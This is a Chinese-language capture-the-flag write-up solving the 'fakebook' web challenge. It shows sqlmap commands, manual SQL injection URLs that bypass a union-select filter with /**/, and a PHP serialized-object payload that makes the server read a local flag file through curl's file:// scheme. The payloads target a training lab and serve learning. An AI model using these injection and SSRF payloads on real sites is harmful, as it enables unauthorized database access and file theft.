攻防世界-fakebook-(详细操作)做题过程

如有不对的地方,还请各位大佬指正。下面开始做题:

攻防世界-fakebook-(详细操作)做题过程_第1张图片

进去以后可以看到有login和join还有jpg可以进去,这些页面的url分别用漏扫工具acunetix进行扫描。

攻防世界-fakebook-(详细操作)做题过程_第2张图片

 点击添加扫描对象,其他的一切都按照默认的扫描模式进行扫描,几个网站全部扫描以后可以得知主站:http://111.200.241.244:62233/下存在sql漏洞攻防世界-fakebook-(详细操作)做题过程_第3张图片

存在sql漏洞url:http://111.200.241.244:62233/vive.php?no=1 攻防世界-fakebook-(详细操作)做题过程_第4张图片

这里是方法一,利用sqlmap暴库在这里极慢,花了我很多时间有兴趣的可以看一下,算了最后我放弃了,,,大家就看一乐就行了,sqlmap确实没有灵魂。。。。呜呜呜。

补,我有尝试了一遍,发现哪怕进入了正确的库名里面,仍然不能够爆出字段,说明字段做了特殊的处理,这里就不多说了。请大家不要学这个方法。。。。。

到这里我们就可以利用构建好的url结合sqlmap进行一个注入,常规注入语句为:

sqlmap -u "http://111.200.241.244:62233/vive.php?no=1" --dbs   sql注入语句请参考:Sqlmap使用教程_ygyydwx的博客-CSDN博客_sqlmap使用教程

攻防世界-fakebook-(详细操作)做题过程_第5张图片

 图片上的数据库fakebook是之前注入出来的数据库。。。。但是之前线程开的太多了,导致电脑卡死,之前的数据也就丢失了,总之注入有没有fakebook都不会成功,sqlmap都会提示我们这段话攻防世界-fakebook-(详细操作)做题过程_第6张图片

要让我们在构造的语句后添加--no-cast ,添加后的语句

sqlmap  -u  "http://111.200.241.244:62233/vive.php?no=1" --dbs  --no-cast

接下来会爆出数据库,但是会很慢,sqlmap会提醒我们添加--threads,添加完成以后的语句为

sqlmap  -u  "http://111.200.241.244:62233/vive.php?no=1" --dbs   --no-cast  --threads 4攻防世界-fakebook-(详细操作)做题过程_第7张图片

 注入完成以后可以得到了这些数据库攻防世界-fakebook-(详细操作)做题过程_第8张图片

接下来就是报表注入的语句为:sqlmap  -u  "http://111.200.241.244:62233/vive.php?no=1" -D fakebook --tables   --no-cast  --threads 4

 略过之前同样的步骤:不同的地方有sqlmap会问你是否考虑开启多线程,多线程不安全,这里y和n都点过,都无关紧要。

multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] n

do you want to use common column existence check? [y/N/q] y 这里很重要,一定要选yes,不然就会被弹出。无法基础爆出表名

攻防世界-fakebook-(详细操作)做题过程_第9张图片

选了yes以后又会弹出让选择default还是custom,这里选谁都可以。

 最后可以爆出表名

攻防世界-fakebook-(详细操作)做题过程_第10张图片

 接下来爆行就是输入:sqlmap -u "http://111.200.241.244:62233/view.php?no=1" -D fakebook -T users -columns  --thread 4,接下来又会轮回上面的一轮输入,像上一轮报表输入就行。攻防世界-fakebook-(详细操作)做题过程_第11张图片

 接下来爆字段:sqlmap -u "http://111.200.241.244:62233/view.php?no=1" -D fakebook -T users -C passwd  --dump --thread 4 --no-cast --batch             这里必须要加--no-cast不然就会报错,反正我的是这样的。

攻防世界-fakebook-(详细操作)做题过程_第12张图片

不对,哭死,我跑了一天的代码居然是这个,小丑竟是我自己。哎,我是打算放弃了,flag肯定在这里面但是我已经没有时间跑了,换一种方法、看了其他大佬写的wp,发现库flag在data列表中。运用到了反序列化,啥都跑不出来,离谱,绷不住了。还是用另一种方式吧。

攻防世界-fakebook-(详细操作)做题过程_第13张图片

方法二:进入后用手工测试发现了文中有一个robots.txt(因为我的御剑扫描扫描不出来,有这个文档也扫描不出来,不知道为什么)ctf中常见的目录收集;CTF中的Web信息搜集_Amire0x的博客-CSDN博客_ctf web 信息收集

攻防世界-fakebook-(详细操作)做题过程_第14张图片

 提示我们/user.php.bak:攻防世界-fakebook-(详细操作)做题过程_第15张图片

 

打开以后就是网页源代码:攻防世界-fakebook-(详细操作)做题过程_第16张图片

代码先放一边,继续点击其他网页,点击到join后,可以一番操作以后知道需要先创建账号才行,这里就先创建账号

 

攻防世界-fakebook-(详细操作)做题过程_第17张图片

在blog这里需要填入网址才能注册成功,blog有博客的意思;攻防世界-fakebook-(详细操作)做题过程_第18张图片

 注册成功后:

攻防世界-fakebook-(详细操作)做题过程_第19张图片

 这里发下没有什么,进入账号123的界面,

攻防世界-fakebook-(详细操作)做题过程_第20张图片

这里测试是否含有sql注入,构建payload:http://111.200.241.244:61663/view.php?no=1 and 1=1#

攻防世界-fakebook-(详细操作)做题过程_第21张图片

 更换payload:http://111.200.241.244:61663/view.php?no=1 and 1=2'#

攻防世界-fakebook-(详细操作)做题过程_第22张图片

报错了,存在sql注入点, 利用order by 排序:

http://111.200.241.244:55597/view.php?no=1 order by 3#

http://111.200.241.244:55597/view.php?no=1 order by 4#

http://111.200.241.244:55597/view.php?no=1 order by 5# 到这里就报错,说明字段数为4

攻防世界-fakebook-(详细操作)做题过程_第23张图片

 利用联合注入http://111.200.241.244:55597/view.php?no=1 union select 1,2,3,4 #,回显失败,应该是被过滤掉了攻防世界-fakebook-(详细操作)做题过程_第24张图片

 尝试过双写注入发现并不是过滤掉了union select,参考了大佬的文章SQL注入时当and、or等字符被过滤了怎么办_litchi125的博客-CSDN博客_sql注入过滤and,还有这位大佬的文章sql注入绕WAF的N种姿势 - 安全客,安全资讯平台

在经过几番绕过测试以后发现/**/能够绕过过滤,payloade:http://111.200.241.244:55597/view.php?no=1 union/**/select 1,2,3,4#    (  /**/这个在文中起注释作用)

尝试几番以后发现?no=1没有回显,也不知道为什么,所以改了一下,将?no=2之后才有了回显,原谅我比较菜。

具体payload

用联合注入暴库的过程中,暴出来了fakebook、一个库,其他的都是回显2???

攻防世界-fakebook-(详细操作)做题过程_第25张图片

 下面开始爆表这里有参考SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_Wαff1ε的博客-CSDN博客_sql联合注入

利用  http://111.200.241.244:55597/view.php?no=2 union/**/select 1,user(),3,4#

,可以知道该库是属于root用户的

攻防世界-fakebook-(详细操作)做题过程_第26张图片

 爆表的具体语句:Fakebookhttp://111.200.241.244:55597/Fakebookview.php?no=2  union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

攻防世界-fakebook-(详细操作)做题过程_第27张图片

 爆字段的具体语句:

http://111.200.241.244:55597/view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

有如下的字段no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

攻防世界-fakebook-(详细操作)做题过程_第28张图片

查字段对应得值,具体语句如下:

http://111.200.241.244:55597/view.php?no=2 union/**/select 1,group_concat(data),3,4 from users#

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

攻防世界-fakebook-(详细操作)做题过程_第29张图片

 1.这一段话是序列化的字符串,2.看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php

3.cuit_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件。

4.查看源代码:(robots.txt下载到的源代码)

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();   #初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。 

        curl_setopt($ch, CURLOPT_URL, $url); #curl_setopt — 设置一个cURL传输选项。 CURLOPT_URL需要获取的URL地址,也可以在curl_init()函数中设置
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  # CURLOPT_RETURNTRANSFER 	将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。 
        $output = curl_exec($ch);  #执行一个cURL会话
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#//抓取URL并把它传递给浏览器,CURLINFO_HTTP_CODE最后一个收到的HTTP代码 
        if($httpCode == 404) {  
            return 404;
        }
        curl_close($ch);// 关闭cURL资源,并且释放系统资源

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

代码审计中:curl 可以使用伪协议file:///文件路径。

结合以上四点我们可以知道,flag可能在/var/www/html/flag.php且传入的参数被序列化了且传入的变量有$name、$age、$blog,且我们需要用到伪协议file:///。最终们要构建的payload,满足这些条件的代码如下:


运行后可得攻防世界-fakebook-(详细操作)做题过程_第30张图片

最后一步构建的paylod为

http://111.200.241.244:52692/view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #(传入的序列化参数需要加上  '')

攻防世界-fakebook-(详细操作)做题过程_第31张图片

 打开F12以后就能看到被加密的flag:PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

解密以后攻防世界-fakebook-(详细操作)做题过程_第32张图片

 flag = flag{c1e552fdf77049fabf65168f22f7aeab}

你可能感兴趣的:(攻防世界,web,高手篇,安全)